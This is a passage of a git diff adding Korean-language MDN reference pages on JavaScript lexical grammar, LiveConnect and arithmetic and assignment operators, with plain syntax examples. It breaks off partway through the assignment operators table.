+<p>Reserved words actually only apply to Identifiers (vs. <code>IdentifierNames</code>) . As described in <a href="http://es5.github.com/#A.1">es5.github.com/#A.1</a>, these are all <code>IdentifierNames</code> which do not exclude <code>ReservedWords</code>.</p>
+
+<pre class="brush: js notranslate">a.import
+a['import']
+a = { import: 'test' }.
+</pre>
+
+<p>On the other hand the following is illegal because it's an <code>Identifier</code>, which is an <code>IdentifierName</code> without the reserved words. Identifiers are used for <code>FunctionDeclaration, FunctionExpression, VariableDeclaration</code> and so on. <code>IdentifierNames </code>are used for<code> MemberExpression, CallExpression</code> and so on.</p>
+
+<pre class="brush: js notranslate">function import() {} // Illegal.</pre>
+
+<h2 id="리터럴">리터럴</h2>
+
+<h3 id="Null_리터럴">Null 리터럴</h3>
+
+<p>See also <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a> for more information.</p>
+
+<pre class="brush: js notranslate">null</pre>
+
+<h3 id="불리언_리터럴">불리언 리터럴</h3>
+
+<p>See also <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean"><code>Boolean</code></a> for more information.</p>
+
+<pre class="brush: js notranslate">true
+false</pre>
+
+<h3 id="숫자_리터럴">숫자 리터럴</h3>
+
+<h4 id="10진법">10진법</h4>
+
+<pre class="brush: js notranslate">1234567890
+42
+
+// Caution when using with a leading zero:
+0888 // 888 parsed as decimal
+0777 // parsed as octal, 511 in decimal
+</pre>
+
+<p>Note that decimal literals can start with a zero (<code>0</code>) followed by another decimal digit, but If all digits after the leading <code>0</code> are smaller than 8, the number is interpreted as an octal number. This won't throw in JavaScript, see {{bug(957513)}}. See also the page about <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt#Octal_interpretations_with_no_radix"><code>parseInt()</code></a>.</p>
+
+<h5 id="Exponential">Exponential</h5>
+
+<p>The decimal exponential literal is specified by the following format: <code>beN</code>; where <code>b</code> is a base number (integer or floating), followed by <code>e</code> char (which serves as separator or <em>exponent indicator</em>) and<em> </em><code>N</code>, which is <em>exponent</em> or <em>power</em> number – a signed integer (as per 2019 ECMA-262 specs): </p>
+
+<pre class="notranslate">0e-5   // =&gt; 0
+0e+5   // =&gt; 0
+5e1    // =&gt; 50
+175e-2 // =&gt; 1.75
+1e3    // =&gt; 1000
+1e-3   // =&gt; 0.001</pre>
+
+<h4 id="2진법">2진법</h4>
+
+<p>Binary number syntax uses a leading zero followed by a lowercase or uppercase Latin letter "B" (<code>0b</code> or <code>0B</code>). Because this syntax is new in ECMAScript 2015, see the browser compatibility table, below. If the digits after the <code>0b</code> are not 0 or 1, the following <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code> is thrown: "Missing binary digits after 0b".</p>
+
+<pre class="brush: js notranslate">var FLT_SIGNBIT = 0b10000000000000000000000000000000; // 2147483648
+var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040
+var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607</pre>
+
+<h4 id="8진법">8진법</h4>
+
+<p>Octal number syntax uses a leading zero followed by a lowercase or uppercase Latin letter "O" (<code>0o</code> or <code>0O)</code>. Because this syntax is new in ECMAScript 2015, see the browser compatibility table, below. If the digits after the <code>0o</code> are outside the range (01234567), the following <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code> is thrown: "Missing octal digits after 0o".</p>
+
+<pre class="brush: js notranslate">var n = 0O755; // 493
+var m = 0o644; // 420
+
+// Also possible with just a leading zero (see note about decimals above)
+0755
+0644
+</pre>
+
+<h4 id="16진법">16진법</h4>
+
+<p>Hexadecimal number syntax uses a leading zero followed by a lowercase or uppercase Latin letter "X" (<code>0x</code> or <code>0X)</code>. If the digits after 0x are outside the range (0123456789ABCDEF), the following <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code> is thrown: "Identifier starts immediately after numeric literal".</p>
+
+<pre class="brush: js notranslate">0xFFFFFFFFFFFFFFFFF // 295147905179352830000
+0x123456789ABCDEF // 81985529216486900
+0XA // 10
+</pre>
+
+<h4 id="BigInt_literal">BigInt literal</h4>
+
+<p>The {{jsxref("BigInt")}} type is a numeric primitive in JavaScript that can represent integers with arbitrary precision. BigInt literals are created by appending <code>n</code> to the end of an integer.</p>
+
+<pre class="notranslate">123456789123456789n     // 123456789123456789
+0o777777777777n         // 68719476735
+0x123456789ABCDEFn  // 81985529216486895‬
+0b11101001010101010101n // 955733
+</pre>
+
+<p>Note that legacy octal numbers with just a leading zero won't work for <code>BigInt</code>:</p>
+
+<pre class="example-bad notranslate">// 0755n
+// SyntaxError: invalid BigInt syntax</pre>
+
+<p>For octal <code>BigInt</code> numbers, always use zero followed by the letter "o" (uppercase or lowercase):</p>
+
+<pre class="example-good notranslate">0o755n</pre>
+
+<p>For more information about <code>BigInt</code>, see also <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#BigInt_type">JavaScript data structures</a>.</p>
+
+<h4 id="Numeric_separators">Numeric separators</h4>
+
+<p>To improve readability for numeric literals, underscores (<code>_</code>, <code>U+005F</code>) can be used as separators:</p>
+
+<pre class="notranslate">// separators in decimal numbers
+1_000_000_000_000
+1_050.95
+
+// separators in binary numbers
+0b1010_0001_1000_0101
+
+// separators in octal numbers
+0o2_2_5_6
+
+// separators in hex numbers
+0xA0_B0_C0
+
+// separators in BigInts
+1_000_000_000_000_000_000_000n
+</pre>
+
+<p>Note these limitations:</p>
+
+<pre class="example-bad notranslate">// More than one underscore in a row is not allowed
+100__000; // SyntaxError
+
+// Not allowed at the end of numeric literals
+100_; // SyntaxError
+
+// Can not be used after leading 0
+0_1; // SyntaxError
+</pre>
+
+<h3 id="객체_리터럴">객체 리터럴</h3>
+
+<p>See also {{jsxref("Object")}} and <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">Object initializer</a> for more information.</p>
+
+<pre class="brush: js notranslate">var o = { a: 'foo', b: 'bar', c: 42 };
+
+// shorthand notation. New in ES2015
+var a = 'foo', b = 'bar', c = 42;
+var o = {a, b, c};
+
+// instead of
+var o = { a: a, b: b, c: c };
+</pre>
+
+<h3 id="배열_리터럴">배열 리터럴</h3>
+
+<p>See also {{jsxref("Array")}} for more information.</p>
+
+<pre class="brush: js notranslate">[1954, 1974, 1990, 2014]</pre>
+
+<h3 id="문자열_리터럴">문자열 리터럴</h3>
+
+<p>A string literal is zero or more Unicode code points enclosed in single or double quotes. Unicode code points may also be represented by an escape sequence. All code points may appear literally in a string literal except for these closing quote code points:</p>
+
+<ul>
+ <li>U+005C (backslash),</li>
+ <li>U+000D &lt;CR&gt;,</li>
+ <li>and U+000A &lt;LF&gt;.</li>
+</ul>
+
+<p>Prior to the <a href="https://github.com/tc39/proposal-json-superset">proposal to make all JSON text valid ECMA-262</a>, U+2028 &lt;LS&gt; and U+2029 &lt;PS&gt;, were also disallowed from appearing unescaped in string literals.</p>
+
+<p>Any code points may appear in the form of an escape sequence. String literals evaluate to ECMAScript String values. When generating these String values Unicode code points are UTF-16 encoded.</p>
+
+<pre class="brush: js notranslate">'foo'
+"bar"</pre>
+
+<h4 id="16진수_이스케이프_시퀀스">16진수 이스케이프 시퀀스</h4>
+
+<p>Hexadecimal escape sequences consist of <code>\x</code> followed by exactly two hexadecimal digits representing a code unit or code point in the range 0x0000 to 0x00FF.</p>
+
+<pre class="brush: js notranslate">'\xA9' // "©"
+</pre>
+
+<h4 id="유니코드_이스케이프_시퀀스">유니코드 이스케이프 시퀀스</h4>
+
+<p>A Unicode escape sequence consists of exactly four hexadecimal digits following <code>\u</code>. It represents a code unit in the UTF-16 encoding. For code points U+0000 to U+FFFF, the code unit is equal to the code point. Code points U+10000 to U+10FFFF require two escape sequences representing the two code units (a surrogate pair) used to encode the character; the surrogate pair is distinct from the code point.</p>
+
+<p>See also {{jsxref("String.fromCharCode()")}} and {{jsxref("String.prototype.charCodeAt()")}}.</p>
+
+<pre class="brush: js notranslate">'\u00A9' // "©" (U+A9)</pre>
+
+<h4 id="유니코드_코드_포인트_시퀀스">유니코드 코드 포인트 시퀀스</h4>
+
+<p>A Unicode code point escape consists of <code>\u{</code>, followed by a code point in hexadecimal base, followed by <code>}</code>. The value of the hexadecimal digits must be in the range 0 and 0x10FFFF inclusive. Code points in the range U+10000 to U+10FFFF do not need to be represented as a surrogate pair. Code point escapes were added to JavaScript in ECMAScript 2015 (ES6).</p>
+
+<p>See also {{jsxref("String.fromCodePoint()")}} and {{jsxref("String.prototype.codePointAt()")}}.</p>
+
+<pre class="brush: js notranslate">'\u{2F804}' // CJK COMPATIBILITY IDEOGRAPH-2F804 (U+2F804)
+
+// the same character represented as a surrogate pair
+'\uD87E\uDC04'</pre>
+
+<h3 id="정규_표현식_리터럴">정규 표현식 리터럴</h3>
+
+<p>See also <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp"><code>RegExp</code></a> for more information.</p>
+
+<pre class="brush: js notranslate">/ab+c/g
+
+// An "empty" regular expression literal
+// The empty non-capturing group is necessary
+// to avoid ambiguity with single-line comments.
+/(?:)/</pre>
+
+<h3 id="템플릿_리터럴">템플릿 리터럴</h3>
+
+<p>See also <a href="/en-US/docs/Web/JavaScript/Reference/template_strings">template strings</a> for more information.</p>
+
+<pre class="brush: js notranslate">`string text`
+
+`string text line 1
+ string text line 2`
+
+`string text ${expression} string text`
+
+tag `string text ${expression} string text`</pre>
+
+<h2 id="자동_세미콜론_삽입">자동 세미콜론 삽입</h2>
+
+<p>Some <a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript statements</a> must be terminated with semicolons and are therefore affected by automatic semicolon insertion (ASI):</p>
+
+<ul>
+ <li>Empty statement</li>
+ <li><code>let</code>, <code>const</code>, variable statement</li>
+ <li><code>import</code>, <code>export</code>, module declaration</li>
+ <li>Expression statement</li>
+ <li><code>debugger</code></li>
+ <li><code>continue</code>, <code>break</code>, <code>throw</code></li>
+ <li><code>return</code></li>
+</ul>
+
+<p>The ECMAScript specification mentions<a href="https://tc39.github.io/ecma262/#sec-rules-of-automatic-semicolon-insertion"> three rules of semicolon insertion</a>.</p>
+
+<p>1. A semicolon is inserted before, when a <a href="#Line_terminators">Line terminator</a> or "}" is encountered that is not allowed by the grammar.</p>
+
+<pre class="brush: js notranslate">{ 1 2 } 3
+
+// is transformed by ASI into
+
+{ 1 2 ;} 3;</pre>
+
+<p>2. A semicolon is inserted at the end, when the end of the input stream of tokens is detected and the parser is unable to parse the single input stream as a complete program.</p>
+
+<p>Here <code>++</code> is not treated as a <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment">postfix operator</a> applying to variable <code>b</code>, because a line terminator occurs between <code>b</code> and <code>++</code>.</p>
+
+<pre class="brush: js notranslate">a = b
+++c
+
+// is transformend by ASI into
+
+a = b;
+++c;
+</pre>
+
+<p>3. A semicolon is inserted at the end, when a statement with restricted productions in the grammar is followed by a line terminator. These statements with "no LineTerminator here" rules are:</p>
+
+<ul>
+ <li>PostfixExpressions (<code>++</code> and <code>--</code>)</li>
+ <li><code>continue</code></li>
+ <li><code>break</code></li>
+ <li><code>return</code></li>
+ <li><code>yield</code>, <code>yield*</code></li>
+ <li><code>module</code></li>
+</ul>
+
+<pre class="brush: js notranslate">return
+a + b
+
+// is transformed by ASI into
+
+return;
+a + b;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2("ES1")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-7', 'Lexical Conventions')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-ecmascript-language-lexical-grammar', 'Lexical Grammar')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Added: Binary and Octal Numeric literals, Unicode code point escapes, Templates</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-ecmascript-language-lexical-grammar', 'Lexical Grammar')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.grammar")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("String")}}</li>
+ <li><a href="http://whereswalden.com/2013/08/12/micro-feature-from-es6-now-in-firefox-aurora-and-nightly-binary-and-octal-numbers/">Jeff Walden: Binary and octal numbers</a></li>
+ <li><a href="http://mathiasbynens.be/notes/javascript-escapes">Mathias Bynens: JavaScript character escape sequences</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/liveconnect/index.html b/files/ko/web/javascript/reference/liveconnect/index.html
new file mode 100644
index 0000000000..dfa43d52d0
--- /dev/null
+++ b/files/ko/web/javascript/reference/liveconnect/index.html
@@ -0,0 +1,17 @@
+---
+title: LiveConnect
+slug: Web/JavaScript/Reference/LiveConnect
+translation_of: Archive/Web/LiveConnect
+---
+<p>이 절(section)은 생성자, 메소드와 함께 LiveConnect에 쓰이는 Java 클래스를 상세히 기록합니다. 이 클래스들은 Java 객체가 JavaScript 코드에 접근할 수 있게 합니다.</p>
+<p><a href="ko/Core_JavaScript_1.5_Reference/LiveConnect/JSException">JSException</a></p>
+<dl>
+ <dd>
+ public 클래스 <code>JSException</code>은 <code>RuntimeException</code>를 상속하고, JavaScript가 에러를 반환하면 발생됩니다.</dd>
+</dl>
+<p><a href="ko/Core_JavaScript_1.5_Reference/LiveConnect/JSObject">JSObject</a></p>
+<dl>
+ <dd>
+ public 클래스 <code>JSObject</code>는 <code>Object</code>를 상속합니다. JavaScript 개체는 클래스 <code>JSObject</code>의 인스턴스(instance)로 싸여 Java가 JavaScript 개체를 다루게 하도록 Java에 건네집니다.</dd>
+</dl>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/LiveConnect", "pl": "pl/Dokumentacja_j\u0119zyka_JavaScript_1.5/LiveConnect" } ) }}</p>
diff --git a/files/ko/web/javascript/reference/operators/addition/index.html b/files/ko/web/javascript/reference/operators/addition/index.html
new file mode 100644
index 0000000000..0a624fdd16
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/addition/index.html
@@ -0,0 +1,77 @@
+---
+title: Addition (+)
+slug: Web/JavaScript/Reference/Operators/Addition
+translation_of: Web/JavaScript/Reference/Operators/Addition
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>증가 연산자<sup>addition operator</sup> (<code>+</code>)는 숫자 또는 여러 문자열의 더합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-addition.html")}}</div>
+
+<div></div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate"><strong>Operator:</strong> <var>x</var> + <var>y</var>
+</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Numeric_addition">Numeric addition</h3>
+
+<pre class="brush: js notranslate">// Number + Number -&gt; addition
+1 + 2 // 3
+
+// Boolean + Number -&gt; addition
+true + 1 // 2
+
+// Boolean + Boolean -&gt; addition
+false + false // 0
+</pre>
+
+<h3 id="String_concatenation">String concatenation</h3>
+
+<pre class="brush: js notranslate">// String + String -&gt; concatenation
+'foo' + 'bar' // "foobar"
+
+// Number + String -&gt; concatenation
+5 + 'foo' // "5foo"
+
+// String + Boolean -&gt; concatenation
+'foo' + false // "foofalse"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-addition-operator-plus', 'Addition operator')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.addition")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Subtraction">Subtraction operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Division">Division operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Multiplication">Multiplication operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Remainder">Remainder operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Exponentiation">Exponentiation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Increment">Increment operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Decrement">Decrement operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_negation">Unary negation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_plus">Unary plus operator</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/arithmetic_operators/index.html b/files/ko/web/javascript/reference/operators/arithmetic_operators/index.html
new file mode 100644
index 0000000000..8b2b274aa6
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/arithmetic_operators/index.html
@@ -0,0 +1,290 @@
+---
+title: 산술 연산자
+slug: Web/JavaScript/Reference/Operators/Arithmetic_Operators
+tags:
+ - JavaScript
+ - Operator
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><span class="seoSummary"><strong>산술 연산자는</strong> 숫자 값(리터럴 또는 변수)을 피연산자로 받아 하나의 숫자 값을 반환합니다.</span> 표준 산술 연산자는 덧셈(+), 뺄셈(-), 곱셈(*), 나눗셈(/)입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-arithmetic.html")}}</div>
+
+
+
+<h2 id="덧셈"><a id="Addition" name="Addition">덧셈 (+)</a></h2>
+
+<p>덧셈 연산자는 숫자 피연산자를 더한 값, 또는 문자열을 연결한 값을 생성합니다.</p>
+
+<h3 id="구문">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x + y
+</pre>
+
+<h3 id="예제">예제</h3>
+
+<pre class="brush: js">// Number + Number -&gt; 합
+1 + 2 // 3
+
+// Boolean + Number -&gt; 합
+true + 1 // 2
+
+// Boolean + Boolean -&gt; 합
+false + false // 0
+
+// Number + String -&gt; 연결
+5 + "foo" // "5foo"
+
+// String + Boolean -&gt; 연결
+"foo" + false // "foofalse"
+
+// String + String -&gt; 연결
+"foo" + "bar" // "foobar"
+</pre>
+
+<h2 id="뺄셈_-"><a id="Subtraction" name="Subtraction">뺄셈 (-)</a></h2>
+
+<p>뺄셈 연산자는 두 개의 피연산자를 뺀 값을 생성합니다.</p>
+
+<h3 id="구문_2">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x - y
+</pre>
+
+<h3 id="예제_2">예제</h3>
+
+<pre class="brush: js">5 - 3 // 2
+3 - 5 // -2
+"foo" - 3 // NaN</pre>
+
+<h2 id="나눗셈"><a id="Division" name="Division">나눗셈 (/)</a></h2>
+
+<p>나눗셈 연산자는 왼쪽 피연산자를 피제수로, 오른쪽 피연산자를 제수로 한 몫을 생성합니다.</p>
+
+<h3 id="구문_3">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x / y
+</pre>
+
+<h3 id="예제_3">예제</h3>
+
+<pre class="brush: js">1 / 2 // JavaScript에선 0.5
+1 / 2 // Java에선 0
+// (양쪽 피연산자 모두 명시적인 부동소수점 숫자가 아님)
+
+1.0 / 2.0 // JavaScript와 Java 둘 다 0.5
+
+2.0 / 0 // JavaScript에서 Infinity
+2.0 / 0.0 // 동일하게 Infinity
+2.0 / -0.0 // JavaScript에서 -Infinity</pre>
+
+<h2 id="곱셈_*"><a id="Multiplication" name="Multiplication">곱셈 (*)</a></h2>
+
+<p>곱셈 연산자는 두 연산자의 곱을 생성합니다.</p>
+
+<h3 id="구문_4">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x * y
+</pre>
+
+<h3 id="예제_4">예제</h3>
+
+<pre class="brush: js">2 * 2 // 4
+-2 * 2 // -4
+Infinity * 0 // NaN
+Infinity * Infinity // Infinity
+"foo" * 2 // NaN
+</pre>
+
+<h2 id="나머지"><a id="Remainder" name="Remainder">나머지 (%)</a></h2>
+
+<p>나머지 연산자는 왼쪽 피연산자를 오른쪽 피연산자로 나눴을 때의 나머지를 반환합니다. 결과는 항상 피제수의 부호를 따라갑니다.</p>
+
+<h3 id="구문_5">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> var1 % var2
+</pre>
+
+<h3 id="예제_5">예제</h3>
+
+<pre class="brush: js">12 % 5 // 2
+-1 % 2 // -1
+NaN % 2 // NaN
+1 % 2 // 1
+2 % 3 // 2
+-4 % 2 // -0
+5.5 % 2 // 1.5
+</pre>
+
+<h2 id="거듭제곱_**"><a name="Exponentiation">거듭제곱 (**)</a></h2>
+
+<p>거듭제곱 연산자는 첫 번째 피연산자를 밑으로, 두 번째 피연산자를 지수로 한 값을 생성합니다. 즉, <code>var1</code>과 <code>var2</code>가 변수일 때, <code>var1<sup>var2</sup></code>의 값을 생성합니다. 거듭제곱 연산자는 우결합성을 가집니다. 따라서 <code>a ** b ** c</code>는 <code>a ** (b ** c)</code>와 같습니다.</p>
+
+<h3 id="구문_6">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> var1 ** var2
+</pre>
+
+<h3 id="참고">참고</h3>
+
+<p>PHP와 Python 등 거듭제곱 연산자를 가진 대부분의 언어는 거듭제곱 연산자의 우선순위가 +와 - 등 단항 연산자보다 높습니다. 그러나 Bash는 단항 연산자가 거듭제곱 연산자보다 우선순위가 높은 등 일부 예외도 있습니다. JavaScript는 단항 연산자(<code>+/-/~/!/delete/void/typeof</code>)를 왼쪽 피연산자 앞에 배치할 수 없으므로, 모호한 표현도 작성할 수 없습니다.</p>
+
+<pre class="brush: js">-2 ** 2;
+// Bash에서 4, 다른 언어에서는 -4.
+// 모호한 표현이므로 JavaScript에서는 유효하지 않음
+
+
+-(2 ** 2);
+// JavaScript에서 -4, 작성자의 의도가 명확함
+</pre>
+
+<h3 id="예제_6">예제</h3>
+
+<pre class="brush: js">2 ** 3 // 8
+3 ** 2 // 9
+3 ** 2.5 // 15.588457268119896
+10 ** -1 // 0.1
+NaN ** 2 // NaN
+
+2 ** 3 ** 2 // 512
+2 ** (3 ** 2) // 512
+(2 ** 3) ** 2 // 64
+</pre>
+
+<p>결과의 부호를 뒤집으려면 다음과 같이 작성합니다.</p>
+
+<pre class="brush: js">-(2 ** 2) // -4
+</pre>
+
+<p>거듭제곱의 밑을 음수로 강제하려면 다음과 같이 작성합니다.</p>
+
+<pre class="brush: js">(-2) ** 2 // 4
+</pre>
+
+<div class="note">
+<p><strong>참고:</strong> JavaScript는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR">비트 연산자 ^ (논리 XOR)</a>도 가지고 있습니다. <code>**</code>와 <code>^</code>는 다릅니다. (예 : <code>2 ** 3 === 8</code>이지만 <code>2 ^ 3 === 1</code>)</p>
+</div>
+
+<h2 id="증가"><a id="Increment" name="Increment">증가 (++)</a></h2>
+
+<p>증가 연산자는 피연산자를 증가(1을 덧셈)시키고, 그 값을 반환합니다.</p>
+
+<ul>
+ <li>피연산자 뒤에 붙여(예: <code>x++</code>) 접미사로 사용한 경우 증가하기 전의 값을 반환합니다.</li>
+ <li>피연산자 앞에 붙여(예: <code>++x</code>) 접두사로 사용한 경우 증가한 후의 값을 반환합니다.</li>
+</ul>
+
+<h3 id="구문_7">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x++ or ++x
+</pre>
+
+<h3 id="예제_7">예제</h3>
+
+<pre class="brush: js">// 접미사
+var x = 3;
+y = x++; // y = 3, x = 4
+
+// 접두사
+var a = 2;
+b = ++a; // a = 3, b = 3
+</pre>
+
+<h2 id="감소_--"><a id="Decrement" name="Decrement">감소 (--)</a></h2>
+
+<p>감소 연산자는 피연산자를 감소(1을 뺄셈)시키고, 그 값을 반환합니다.</p>
+
+<ul>
+ <li>피연산자 뒤에 붙여(예: <code>x--</code>) 접미사로 사용한 경우 감소하기 전의 값을 반환합니다.</li>
+ <li>피연산자 앞에 붙여(예: <code>--x</code>) 접두사로 사용한 경우 감소한 후의 값을 반환합니다.</li>
+</ul>
+
+<h3 id="구문_8">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x-- or --x
+</pre>
+
+<h3 id="예제_8">예제</h3>
+
+<pre class="brush: js">// 접미사
+var x = 3;
+y = x--; // y = 3, x = 2
+
+// 접두사
+var a = 2;
+b = --a; // a = 1, b = 1
+</pre>
+
+<h2 id="단항_부정_-"><a name="Unary_negation">단항 부정 (-)</a></h2>
+
+<p>단항 부정 연산자는 피연산자의 앞에 위치하며 부호를 뒤집습니다.</p>
+
+<h3 id="구문_9">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> -x
+</pre>
+
+<h3 id="예제_9">예제</h3>
+
+<pre class="brush: js">var x = 3;
+y = -x; // y = -3, x = 3
+
+// 단항 부정 연산자는 숫자가 아닌 값을 숫자로 변환함
+var x = "4";
+y = -x; // y = -4</pre>
+
+<h2 id="단항_양부호"><a name="Unary_plus">단항 양부호 (+)</a></h2>
+
+<p>단항 양부호 연산자는 피연산자의 앞에 위치하며 피연산자의 값 그대로 평가되지만, 값이 숫자가 아닐 경우 숫자로 변환을 시도합니다. 단항 부정(-) 연산자도 숫자가 아닌 값을 변환할 수 있지만, 단항 양부호가 속도도 제일 빠르고 다른 연산도 수행하지 않으므로 선호해야 할 방법입니다. 문자열로 표현한 정수 및 부동소수점 실수, 문자열이 아닌 <code>true</code>, <code>false</code>, <code>null</code>도 변환할 수 있습니다. 10진수와 (앞에 "0x"가 붙은) 16진수 정수 모두 지원합니다. 음수도 지원하지만 16진수 음수에는 사용할 수 없습니다. 어떤 값을 분석할 수 없으면 {{jsxref("NaN")}}으로 평가됩니다.</p>
+
+<h3 id="구문_10">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> +x
+</pre>
+
+<h3 id="예제_10">예제</h3>
+
+<pre class="brush: js">+3 // 3
++"3" // 3
++true // 1
++false // 0
++null // 0
++function(val) { return val } // NaN
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-additive-operators', 'Additive operators')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-postfix-expressions', 'Postfix expressions')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-11.5', 'Multiplicative operators')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-11.4', 'Unary operator')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.arithmetic")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">할당 연산자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/assignment_operators/index.html b/files/ko/web/javascript/reference/operators/assignment_operators/index.html
new file mode 100644
index 0000000000..d7f195c803
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/assignment_operators/index.html
@@ -0,0 +1,394 @@
+---
+title: 할당 연산자
+slug: Web/JavaScript/Reference/Operators/Assignment_Operators
+tags:
+ - JavaScript
+ - Operator
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators#Assignment_operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>할당 연산자</strong>는 오른쪽 피연산자의 값을 왼쪽 피연산자에 할당합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-assignment.html")}}</div>
+
+
+
+<h2 id="개요">개요</h2>
+
+<p>기본 할당연산자는 등호(<code>=</code>)로, 오른쪽 피연산자의 값을 왼쪽 피연산자에 할당합니다. 즉, <code>x = y</code>는 <code>y</code>의 값을 <code>x</code>에 할당힙니다. 다른 할당 연산자는 보통 표준 연산의 축약형으로, 다음 표에서 종류와 예시를 확인할 수 있습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>이름</th>
+ <th>단축 연산자</th>
+ <th>의미</th>
+ </tr>
+ <tr>
+ <td><a href="#Assignment">할당</a></td>
+ <td><code>x = y</code></td>
+ <td><code>x = y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Addition_assignment">덧셈 할당</a></td>
+ <td><code>x += y</code></td>
+ <td><code>x = x + y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Subtraction_assignment">뺄셈 할당</a></td>
+ <td><code>x -= y</code></td>
+ <td><code>x = x - y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Multiplication_assignment">곱셈 할당</a></td>
+ <td><code>x *= y</code></td>
+ <td><code>x = x * y</code></td>
+ </tr>
